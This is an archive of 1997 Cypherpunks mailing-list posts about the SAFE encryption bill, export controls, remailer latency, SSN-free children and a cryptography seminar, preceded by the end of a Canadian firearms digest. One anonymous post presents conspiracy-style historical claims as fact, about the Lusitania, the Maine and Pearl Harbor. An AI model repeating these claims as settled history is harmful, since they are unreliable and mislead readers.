The charge leaves no room for a defence of "due diligence" (I didn't do
it the way the regulations said to, but I did do it in a way that had
the same or a better effect).  That being so, storage in the
alternative way leaves one guilty of the offence, and that is a
violation of the Charter right to liberty.  The accused can be sent to
prison for up to two years -- when the accused has done nothing wrong.
That is a violation of the Charter right to "fundamental justice."

The R. vs. Smillie case (BC Supreme Court) ruled that CC s.86(3)
violates the Charter as indicated above, and therefore cannot be used.

R. vs. Finlay (Supreme Court of Canada) ruled that CC s. 86(2) and (3)
are regulatory law rather than proper criminal law, and that therefore
a proper defence of "due diligence" shall succeed.

Dave Tomlinson, NFA

FOCUS:  In trouble?  Know someone who is in trouble?  Learn of someone
who is in trouble?  Get in touch with the person in trouble, tell him
or her to get help from the NFA.  Call (403) 439-1394.

------------------------------

End of Cdn-Firearms Digest V2 #13
*********************************


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 26 Sep 1997 02:52:54 +0800
To: cypherpunks@Algebra.COM
Subject: Lucky in the news
Message-ID: <m0xEHpJ-0003bNC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



Der kalifornische Cypherpunk Lucky Green is in the news.

Today's issue of the German newspaper "Die Tageszeitung" has a lengthy
article about PGP 5.

  http://www.taz.de/~taz/970925.taz/is_T970925.136.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeanne A. E. DeVoto" <jaed@best.com>
Date: Fri, 26 Sep 1997 11:13:22 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: How the FBI/NSA forces can further twist SAFE
In-Reply-To: <970925221454_-1833065176@emout19.mail.aol.com>
Message-ID: <v03007801b050d1ca5af2@[206.163.125.35]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:17 PM -0700 9/25/97, Syniker@aol.com wrote:
>I'm all for the year... get more people
>using crypto everyday...

This is why holding actions help. Confusing Congress enough to delay taking
up encryption bans may eventually win the war, if in the time between
enough people begin to use and understand encryption that politicians see a
downside in upsetting that many voters by deleting their privacy.

I believe the same factors worked for us in the recent CDA/net-censorship
battles.

--
"I'm from the government, and I'm here to help you recover your keys."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 11:04:37 +0800
To: Syniker@aol.com
Subject: Re: How the FBI/NSA forces can further twist SAFE
In-Reply-To: <970925221454_-1833065176@emout19.mail.aol.com>
Message-ID: <Pine.GSO.3.95.970925192935.17722C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 25 Sep 1997 Syniker@aol.com wrote:

> At this point... after what's happened so far..
> I'm in favor of a Clinton veto...
> NO crypto laws at all...

What Congress can grant, they can take away. I'm not sure if I like the
SAFE language that "grants" me the right to use whatever encryption device
I like at whatever strength I like. 

You see... I thought that was an inalienable right that Congress can't
grant, let alone take back.

No pro-crypto legislation will survive a Clinton veto. I challenge those
who disagree to post a contrary scenario.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Fri, 26 Sep 1997 08:13:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
In-Reply-To: <199709252158.XAA21054@basement.replay.com>
Message-ID: <3.0.3.32.19970925200257.030c1640@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:58 PM 9/25/97 +0200, Anonymous (Monty Cantsin) wrote:
>The remailers should all have about the same latency.  0 seconds seems
>like a good Schelling point.  What would it take to reduce remailer
>latency to under 60 seconds for most of the remailers?

By latency, I assume you mean the lag time from when the message is sent,
till when it is received.  There are several possible reasons as to why a
remailer message is subject to a longer lag time than you like.

Remailer software is often a work in progress.  Changes are made on a
regular basis.  A recent change to correct one problem recently had the
effect of spinning off multiple copies of some of the remailer sub
programs.  As more and more copies went into memory, the machine got slower
and slower.  Programming changes are not an uncommon thing.

But remailers are subject to the same forces as other things on the
internet.  Email is particularly well suited for asynchronous
communications, so email is often left to drag behind while other processes
continue.  I've seen email I send to lists take hours to appear back to me.
 In addition to this natural internet force, remailers can be throttled to
go slow.  There are a number of options that can be selected by the
administrator to keep the remailer running slowly.  One of the more
externally obvious is the reordering pool.  A reordering remailer is
designed to fool traffic analysis by sending messages out in a different
order from what they come in.  By design a message must wait to be
delivered.  A user option in remailers will allow the sender to specify an
additional wait time to add to the system generated latency.

What would it take to get latency to under 60 seconds?  More remailer
traffic would help.  If instead of 100 messages per hour a remailer was to
receive 1,000 messages per hour there would be less need to throttle the
system and introduce lags to foil system traffic.  The reordering pool
would be flushed much more quickly.  You asked about hardware, there are
places where faster, or more hardware might help.

The truth is not everyone wants to reduce latency.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 26 Sep 1997 12:03:44 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
In-Reply-To: <Pine.GSO.3.95.970925115935.1676I-100000@well.com>
Message-ID: <v03007884b050d6ca8957@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:00 PM -0700 9/25/97, Declan McCullagh forwarded:
>---------- Forwarded message ----------
>Date: Tue, 23 Sep 1997 08:12:58 +0000
>From: "David C. Treibs" <sirdavid@ktc.com>
>To: "(David C. Treibs)" < (SirDavid@ktc.com)>
>Subject: Need Help with IRS Problems
>
>                                        David C. Treibs
>                                        Fredericksburg, TX 78624
>                                        sirdavid@ktc.com
>
>Hi.
>
>We are in trouble with the IRS, and we need help.
>
>For religious reasons (explained below), we do not have Social Security
>numbers for our children, the oldest of 4 being 5 years old.

This sounds like one for the ACLU.  They frequently take religious freedom
cases.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: decius@ninja.techwood.org (Decius 6i5)
Date: Fri, 26 Sep 1997 09:11:12 +0800
To: sirdavid@ktc.com
Subject: Plea for help from IRS; Liberty?
Message-ID: <m0xEOca-000045C@r32h116.res.gatech.edu>
MIME-Version: 1.0
Content-Type: text/plain



>        Plea from a parent who wants to keep their kid free of SSNs
>                                       
>  David C. Treibs
>  Fredericksburg, TX 78624
>  sirdavid@ktc.com
>   
>  We are in trouble with the IRS, and we need help.

<SNIP>

>   For Liberty,

Although your attempts to free your children from the database
establishment are admirable, please do not confuse your fight with the
government over who has the "right" to >CONTROL< your children with a
fight for "liberty." If your children decided they did not want to live
in your house anymore, I'm sure you'd have the police round them up. If
you were truely concerned with liberty, you'd be concerned with your
CHILDRENS' liberty... And if so I doubt you'd have made the following
statement:  

>   The Clintons are also working to push us into the UN Rights of the
>   Child
>   Treaty, which shifts many parental rights and responsibilities to the
>   government. The Clintons want to bypass parents and directly access
>   children. How do you think they plan to monitor and enforce compliance
>   with this horrible treaty? The SSN, in my opinion.
   
I am going to jump to the conclusion here that you have neither read this
treaty nor do you have the slightest clue what it says or what it means. 
I might be wrong about that, but then you might wish to explain where
"monitoring" and "enforcement" and Social Security Numbers fall into what
is basically a restatement of the American Bill of Rights with the express
demand that these rights be extended to minors. 

The United States is one of the few countries in the western world that
hasn't signed it? Why? Due to numerous complex generational, economic, and
political issues it has become extremely popular to blame the problems of
the world on fanciful "youth predators." As a result, minors in the United
States may be tried as adults in court, despite the fact they they cannot
even gain standing in court and press charges themselves. They may be
executed as an adult, but they may not vote as one. (Incidentally, the
American practice of executing minors is extremely rare internationally
and is one of the big reasons why this country remains on Humanity
International's bad guy list along side places where slavery is legal.) 
Minors have very little right to freedom of speech and thought. Minors
have no right to privacy.

If the US signed this treaty they would have to remove the metal detectors
from the schools, they would have to stop requiring that children carry
see-through bags, they would have to allow children the right to express
their beleifs, they would have to stop enforcing "anti-gang" curfew laws
and loitering laws (which are far more common in peaceful suburban
communities than in places that actually have problems with youth
violence), and worst of all, they would have to allow children to file
lawsuits against abusive parents. (Those who follow internet politics
might wish to note that at the same time the Christian Coallition was
screaming "protect the children from internet porn" they were also, more
quitely, protesting state's ability to interfere in cases of child
abuse... this is considered pro-family.) 

Although I no longer have to endure the numerous restrictions that the
government places on minors, I am not yet old enough to have forgotten
what it feels like to be treated like a criminal because of an arbitrary
number overwhich I have no control, and ultimately because of a newspaper
editor's profit motive. Have you ever been arrested simply because you
chose to take a walk during an unapproved time of day?

Although I do agree that the government should not have the ability to
control how you raise your children; I feel that these "restrictions"
cannot be lifted until children have the ability to fight back, or leave,
when serious problems arise. The Christian Coallition would have us return
to the days of Victorian "values" where child and spousal abuse were so
common place that they were considered normal activity and protected by
law. So I ask you not to confuse what you are doing with a fight for
liberty. Liberty is not about your rights. Liberty is about everyone's
rights. 
          
-- 
        */^\*  Tom Cross AKA Decius 615 AKA The White Ninja  */^\* 
                       Decius@ninja.techwood.org

"If the economic, social and political conditions... do not offer a basis 
for the realization of individuality, while at the same time people have 
lost those ties which gave them security... powerful tendencies arise to 
escape from freedom into submission." -- Erich Fromm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Brock <hrast@flash.net>
Date: Fri, 26 Sep 1997 10:08:33 +0800
To: "'Lucky Green'" <shamrock@cypherpunks.to>
Subject: RE: Oxley Amendment
Message-ID: <01BCC9F4.D0AF8BE0@dasc2-106.flash.net>
MIME-Version: 1.0
Content-Type: text/plain



I agree that there should be *NO* rules about encryption...  If the government wants to break encryption, buy the people who hack it and let them go just like every other good industrial country...

M.


-----Original Message-----
From:	Lucky Green [SMTP:shamrock@cypherpunks.to]
Sent:	Thursday, September 25, 1997 9:17 AM
To:	Michael Brock
Cc:	cypherpunks@cyberpass.net
Subject:	Re: Oxley Amendment

On Wed, 24 Sep 1997, Michael Brock wrote:

> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> I wonder if Mr. Solomon of NY will rethink his decision to not bring 
> up SAFE without Oxley to the entire House after the unprecedented 
> coaltion of companies and individual groups that came together to 
> make sure that mandatory key recovery stays a "1984" like dream.   I 
> find it incomprehensible that one man, would block the introduction 
> of this bill, after it being proved that this is what his 
> constituents want....

What in the world makes you believe that Mr. Solomon's constituents would
want SAFE to go the the floor? SAFE *must* be defeated, with or without
the Oxley ammendment.

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Brock <hrast@flash.net>
Date: Fri, 26 Sep 1997 10:25:56 +0800
To: "'Declan McCullagh'" <shamrock@cypherpunks.to>
Subject: RE: Oxley Amendment
Message-ID: <01BCC9F6.BE471AC0@dasc2-106.flash.net>
MIME-Version: 1.0
Content-Type: text/plain



I believe (as I am sure most here do) that crypto of any strength will become illegal, and that anyone sending a message in Pig Latin will soon be shot on sight by FBI the "protecting" our rights...

Any control on encyrption, domestic or exportable, is unacceptable in today's high computing power society...  Mandatory key escrow, well, you thought the IRS was corrupt...

"Have you cracked RC5 today?"
M.


-----Original Message-----
From:	Declan McCullagh [SMTP:declan@well.com]
Sent:	Thursday, September 25, 1997 10:29 AM
To:	Lucky Green
Cc:	Michael Brock; cypherpunks@cyberpass.net
Subject:	Re: Oxley Amendment

Lucky has it right. SAFE is extremely unlikely to go to the floor without
additional "compromise."

Then there's the "compromise" with whatever bill the Senate coughs up.
Remember that pro-crypto legislation is dead there; only McCain-Kerrey got
out of committee. Also remember the Senate is more conservative...

Then there's the reality that no pro-crypto legislation would get past a
presidential veto...

-Declan


At 07:16 -0700 9/25/97, Lucky Green wrote:
>On Wed, 24 Sep 1997, Michael Brock wrote:
>
>>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> I wonder if Mr. Solomon of NY will rethink his decision to not bring
>> up SAFE without Oxley to the entire House after the unprecedented
>> coaltion of companies and individual groups that came together to
>> make sure that mandatory key recovery stays a "1984" like dream.   I
>> find it incomprehensible that one man, would block the introduction
>> of this bill, after it being proved that this is what his
>> constituents want....
>
>What in the world makes you believe that Mr. Solomon's constituents would
>want SAFE to go the the floor? SAFE *must* be defeated, with or without
>the Oxley ammendment.
>
>-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
>   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 26 Sep 1997 09:47:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer latency
Message-ID: <47bdb6b01ac438999c7a7c21b9e68457@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Joe Grasty wrote:
>At 11:58 PM 9/25/97 +0200, Anonymous (sic) wrote:
>>If you operate a remailer, please tell us what you need to make it
>>really work well.  Perhaps the rest of us can help make it happen.
>
>Sure.  Send me $125 a month for a dedicated line, and I'll insure
>that you get low latencies on winsock.

It's a start!

According to Raph's list, your remailer has a latency of about 16
hours.  Dialing in should cause a latency of, at most, an hour.  That
is, you could reasonably dial in once an hour, or even every fifteen
minutes.  Is there some other cause for the latency?

Do you have an ecash account?  If you charged 25 cents per message,
you would only need to handle about 17 messages a day to cover your
dedicated line.  The load on the line would be negligible and you
could use it for other things.

Please excuse my reluctance to fund your dedicated line, but probably
the money would be better spent subsidizing hardware for people who
are willing to set up remailers.

Incidentally, if somebody offered you colocation space, would you be
willing to set up your machine there?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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vifPP7FvEe0w+OAhVycmgynpnLbKPGRzIp8abCsFUW+TQl9mhOEwzQ==
=0Tgw
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 26 Sep 1997 09:43:07 +0800
To: cypherpunks@cyberpass.net
Subject: Plea from a parent who wants to keep their kid free of SSNs
Message-ID: <62d36b2b23ac66c83a6e27eb74e10c56@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Anonymous wrote:
>Anonymous who signed himself as Monty Cantsin <anon@anon.efga.org> writes:
>> While I am generally sympathetic with Mr. Treibs, it does not seem
>> reasonable to ask for a government child subsidy while claiming the
>> government has no business raising kids.
>
>Since when is a deduction on income tax (not a tax credit) a
>`government child subsidy'?
>
>It's not the government's money.

That's true.  And it is worth taking the trouble to distinguish
between pure subsidies like those that TRW and welfare queens take
from tax subsidies which most people take.

Still, a tax deduction is a benefit.  How much would you pay for a
$1000 tax deduction?  It depends on your marginal income tax rate, of
course, but presumably you would pay around $300.

Mr. Treibs is asking for this benefit, for special treatment from the
government, solely because he has children.  If he doesn't want the
government to insist that his children be tagged like everyone else,
it would be very easy for him to forego this benefit and pay under the
same tax scheme that many other childless people pay.

Unjust?  No more so than the tax rate people without children are
forced to pay.

But, I wish Mr. Treibs and his family well.  They sound like the kind
of good decent people that one would like to have for neighbors.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 26 Sep 1997 03:55:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Crypto-victory in Commerce; Oxley talks about nuking Congress
Message-ID: <199709251939.VAA15400@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>At 6:37 PM -0700 9/24/97, Declan McCullagh wrote:
>>least if you've heard it 17 times in the past few weeks. So
>>today Rep. Oxley whipped out his trump card: if you don't
>>vote for my amendment, you'll get blown up! "How about some
>>terrorist orgainztion acting with impunity because they
>>have the ability to communicate with impunity gets a hold
>>of a Russian nuclear device and threatens to blow up the
>>Capitol of the United States?"
>
>Sounds to me like Oxley is presaging the Reichstag Fire.

Or another Lusitania.  The German government during World War I had a
policy of sinking any ship carrying armaments to Britain.  While the
Lusitania was a civilian ship, the allies were secretly loading it
with ammunition.  This was known to the German government which
announced that it would attempt to sink the ship.  This was advertised
in New York newspapers by the German embassy in the weeks before the
Lusitania's departure.

The German torpedo appears to have set off the munitions in the hold
which caused the ship to sink more quickly, magnifying the loss of
life.  Ironically, while the allies were responsible for using the
civilians on board as shields, the Germans were held responsible for
the deaths.  This was used as a propaganda tool to persuade the
American people that the country should enter World War I.

By an odd coincidence, Franklin Roosevelt and Winston Churchill worked
together on the Lusitania project, foreshadowing their later work
together.

Many U.S. wars have started with similar incidents.  The
Spanish-American War started when a U.S. naval ship (The Maine) blew
up in Havana harbor.  Curiously, no officers were on board at the time.

Some suspect Pearl Harbor was managed to maximize the shock of the
American people.  There was also an incident in the North Atlantic
with a German ship which was used to justify U.S. involvement in the
European war.

And let's not forget the Gulf of Tonkin incident which prompted the
Congress to grant the President sweeping powers.

The only real question is whether the stakes are high enough at this
time to justify some sort of provocative incident.  It seems
reasonable that the bureacracies of Russia and the United States would
recognize their common interest against the people of both countries
and the whole world.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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=Wvmm
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 10:27:52 +0800
To: "John Smith" <jsmith58@hotmail.com>
Subject: Re: Why no version of SAFE removes export ctrls, and all are     dangerous
In-Reply-To: <19970926000039.26898.qmail@hotmail.com>
Message-ID: <v03007800b050c725a5aa@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 17:00 -0700 9/25/97, John Smith wrote:
>This is wrong.  I quoted the part earlier removing restrictions on
>generally available software.  Here is what they say about that:

Legislative history is not a guidepost I like to follow when considering
whether a bill is a good one. Note the Supremes largely rejected the
government's arguments that the legislative history of the CDA justified it
as a law. Instead you should look at the plain text of the law, which says
software not requiring a license is:

"(A) any software, including software with encryption capabilities
                   "(i) that is generally available, as is, and is
                    designed for installation by the purchaser; or
                    "(ii) that is in the public domain for which
                    copyright or other protection is not available
                    under title 17, United States Code, or that is
                    available to the public because it is generally
                    accessible to the interested public in any form; or
>
>There's nothing about it having to be available overseas.  You are
>probably confusing it with the hardware part:

Nope, the "generally available" clause above talks about software. Reread
the text of the bill, not some staffer's wet dreams about what they want it
to say.

Then there's the bit Tim was complaining about:

       "(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary shall
       authorize the export or reexport of software with encryption
capabilities for
       nonmilitary end-uses in any country to which exports of software of
similar
       capability are permitted for use by financial institutions not
controlled in fact by
       United States persons, unless there is substantial evidence that
such software will
       be --

              "(A) diverted to a military end-use or an end-use supporting
              international terrorism;
              "(B) modified for military or terrorist end-use; or
              "(C) reexported without any authorization by the United States
              that may be required under this Act.

Of course there's substantial evidence that PGP etc. will be used by
unapproved people. That's another problem with SAFE.

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 26 Sep 1997 13:18:30 +0800
To: declan@well.com
Subject: Re: Why no version of SAFE removes export ctrls, and all are    dangerous
Message-ID: <19970926050854.11798.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>From: Declan McCullagh <declan@well.com>
>Legislative history is not a guidepost I like to follow when 
considering
>whether a bill is a good one.

Fine, but what I quoted to you was the definition of generally
available, FROM THE TEXT OF THE BILL ITSELF.  It is in paragraph
5B of that part of the bill.  Look yourself, or read it below,
and you will see that it doesn't say anything about the software
having to be available overseas.  That part of your article was
mistaken.  I like your reporting so I don't want to over do this,
but you should know that the bill does not require what you
said:

            Sure,
            removing export controls completely would benefit
            everyone, but SAFE doesn't go that far: Only software
            "that is generally available" overseas may be exported.
            Which means if I invent a new data-scrambling method
            that nobody overseas has developed, I'm screwed.


>Note the Supremes largely rejected the
>government's arguments that the legislative history of the CDA 
justified it
>as a law. Instead you should look at the plain text of the law, which 
says
>software not requiring a license is:
>
>"(A) any software, including software with encryption capabilities
>                   "(i) that is generally available, as is, and is
>                    designed for installation by the purchaser; or
>                    "(ii) that is in the public domain for which
>                    copyright or other protection is not available
>                    under title 17, United States Code, or that is
>                    available to the public because it is generally
>                    accessible to the interested public in any form; or
>>
>>There's nothing about it having to be available overseas.  You are
>>probably confusing it with the hardware part:
>
>Nope, the "generally available" clause above talks about software. 
Reread
>the text of the bill, not some staffer's wet dreams about what they 
want it
>to say.

Section 5B from the text of the bill, again (formatted better):

  (B) the term `generally available' means, in the case of software
  (including software with encryption capabilities), software that is
  offered for sale, license, or transfer to any person without
  restriction, whether or not for consideration, including, but not
  limited to, over-the-counter retail sales, mail order transactions,
  phone order transactions, electronic distribution, or sale on
  approval;

Nothing about foreign software.


>Then there's the bit Tim was complaining about:
>
>       "(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary 
shall
>       authorize the export or reexport of software with encryption
>capabilities for
>       nonmilitary end-uses in any country to which exports of software 
of
>similar
>       capability are permitted for use by financial institutions not
>controlled in fact by
>       United States persons, unless there is substantial evidence that
>such software will
>       be --
>
>              "(A) diverted to a military end-use or an end-use 
supporting
>              international terrorism;
>              "(B) modified for military or terrorist end-use; or
>              "(C) reexported without any authorization by the United 
States
>              that may be required under this Act.
>
>Of course there's substantial evidence that PGP etc. will be used by
>unapproved people. That's another problem with SAFE.


So you agree with his interpretation that software must pass the tests
in both paragraph 2 and paragraph 3?  That doesn't seem right.  Para
2 says that no license is required for the kind of software
it describes.  Para 3 then provides a procedure for authorizing
the export of software which meets a different test (similar to
what is allowed for export to non-US financial institutions).  But
these are different tests and different software.

I say that paragraph 2 applies basically to "off the shelf" software,
commercial or public domain.  No license is required to export that.
That's why there are those definitions of generally available and
as-is.  Software which does not fall into these categories can then
be authorized for export under paragraph 3, except that the
authorization can be cancelled if it is diverted to terrorists.

If they wanted to diversion rules to apply to paragraph 2, they
would have written it that way.  But the way it is written it is
only the paragraph 3 software which can lose its authorization.

This is a very logical interpretation.  There is no point in
restricting the export of paragraph 2 software since it is available
to anyone in the US.  Any terrorist can walk into Egghead and buy
Netscape with strong crypto, or any disk encryption package.
This is an argument which cypherpunks have made for years, and they
are 100% right.  Why is it so hard to believe that the congressman
followed the same logic.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 26 Sep 1997 05:37:21 +0800
To: jsmith58@hotmail.com
Subject: Re: Exports and criminalizing crypto
In-Reply-To: <19970925193213.21630.qmail@hotmail.com>
Message-ID: <199709252109.WAA02721@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




John Smith <jsmith58@hotmail.com> writes:
> Getting rid of these export restrictions would produce an explosion
> of Cypherpunk style crypto software.  It is a big win.

I disagree.

Cypherpunk (freeware) crypto isn't hardly hindered at all by EAR
export nonsense.  

You reference Ian Goldberg claiming to have to work on crypto during
trips to Canada.  I think he was just trying to make a political
point.  I submit that he could write and publish all the crypto he
wants in the US (on one of those "export controlled" sites).  It will
get illegally exported in no time at all.  Where's the problem?

William Geiger has PGP on a non-export controlled site, and the export
bods haven't said a word, so it's not even clear that they care about
freeware at this point.

The problem with export controls is for commercial software.
Companies get denied export permission.  Overseas companies probably
wouldn't feel comfortable using non-paid for commercial warez.

Illegally exported commercial crypto warez isn't generally hosted on
ftp/web sites outside the US.  I suspect this has much more to do with
the fact that it is copyrighted, than to do with export regulations.

Netscape, and MSIE browsers are available on web sites, but these are
distributed freely anyway.


Also your claim that the FBI is defeated, and that safe is a good
idea.  Disagree also.

1) SAFE has lots more hurdles to pass before it gets to be law.

2) If it does get to be law, you won't like the modifications that are
made to it by that stage.

3) Crypto-in-a-crime US domestic restrictions are a _bad thing_.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Fri, 26 Sep 1997 10:28:11 +0800
To: shamrock@cypherpunks.to
Subject: Re: How the FBI/NSA forces can further twist SAFE
Message-ID: <970925221454_-1833065176@emout19.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm all for the year... get more people
using crypto everyday...
We 'gotta make it popular and the 'thing to do'...
We need a Captain Marvel Secret Decoder Ring...
"Hey Kids, send a secret message to your buddies..."

At this point... after what's happened so far..
I'm in favor of a Clinton veto...
NO crypto laws at all...

LarryM.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 26 Sep 1997 13:47:39 +0800
To: John Bishop <cypherpunks@toad.com
Subject: Stupid warnings about "unsolicited e-mail"
In-Reply-To: <v03007884b050d6ca8957@[207.94.249.39]>
Message-ID: <v03102805b050f8e774c5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:27 PM -0700 9/25/97, John Bishop wrote:

>sending a blank message to "moonwick-pgp@iquest.net".  All unsolicited
>e-mail sent to any of my addresses will incur a US$500 downloading &
>deletion charge.

Oh yeah? How do you plan to collect?

Maybe I'll see you in court.

(P.S. I did not "solicit" your e-mail to me....and my fee is 10 ounces of
gold, payable immediately.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 26 Sep 1997 11:08:08 +0800
To: cypherpunks@cyberpass.net
Subject: Forward: Private Information Retrieval Talk friday
Message-ID: <v03110725b050d07d15f8@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date: Thu, 25 Sep 1997 19:11:39 -0400
To: dcsb@ai.mit.edu
From: Kent Borg <kentborg@borg.org>
Subject: Forward: Private Information Retrieval Talk friday
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Kent Borg <kentborg@borg.org>

This isn't strictly commerce, but it is anonymity related, and that can be
important for electronic commerce.  It is also likely to be nice and
techie, for those who need an occasional does of substance.

Finally, I forward this to the Digital Commerce Society of Boston list
because it is damn close to Boston.

-kb, the Kent who is enjoying a good news in digital land day.


<< start of forwarded material >>

 ** From: rivest@theory.lcs.mit.edu (Ron Rivest)
 ** Date: Thu, 25 Sep 97 10:31:48 EDT
 ** To: cis-reading-group@theory.lcs.mit.edu, cis-seminars@theory.lcs.mit.edu
 ** Subject: Talk friday
 **
 **
 ** There will be a CIS seminar this Friday.  All are welcome!
 **
 ** Title:	Protecting Data Privacy in Private Information Retrieval
 Schemes.
 ** Speaker: Tal Malkin
 ** When:	1:30--3:30 (talk starts at 2PM) Friday, September 26, 1997
 ** Where:	NE43-518
 **
 ** Abstract:
 **
 ** Private Information Retrieval (PIR) schemes allow a user to retrieve
 ** the i-th bit of a data string x, replicated in k>=2 databases (in the
 ** information-theoretic setting) or k>=1 databases (in the computational
 ** setting), while keeping the value of i private. The main cost measure
 ** for such a scheme is its communication complexity.
 **
 ** We study PIR schemes where in addition to the user's privacy we
 ** require {\em data privacy}. That is, in every invocation of the
 ** retrieval protocol the user learns exactly a single (physical) bit of
 ** x and no other information about the data. All currently known PIR
 ** schemes fail to meet this requirement, which is essential for
 ** ``real-world'' applications. Solutions to this problem also yield
 ** efficient distributed implementations of the cryptographic 1 out of n
 ** oblivious transfer primitive.
 **
 ** We present transformations that allow translating PIR schemes into
 ** ones that respect data privacy as well, with a small penalty in the
 ** communication and randomness complexity. In particular we get:
 ** a k-database scheme of complexity $O(\log n\cdot n^{1/(2k-1)})$ for
 ** every k>=2; an $O(\log n)$-database scheme of poly-logarithmic
 ** complexity; and a 2-database computational PIR scheme of complexity
 ** $O(n^c)$, for every constant $c>0$.  All these schemes require only a
 ** single round of interaction. A {\em single} database computational
 ** scheme can also be achieved, based on the hardness of deciding
 ** quadratic residuosity and using a multi-round protocol.
 **
 ** Joint work with Yael Gertner, Yuval Ishai, and Eyal Kushilevitz.
 **

<< end of forwarded material >>



--
Kent Borg                               H: +1-617-776-6899
kentborg@borg.org                       W:
   "Then with daybreak not quite risen into dawn,
    the night and day still deadlocked, round the pyre
    a work brigade of picked Achaeans grouped."
                  - Homer's Illiad (7-500, Fagles tr.)



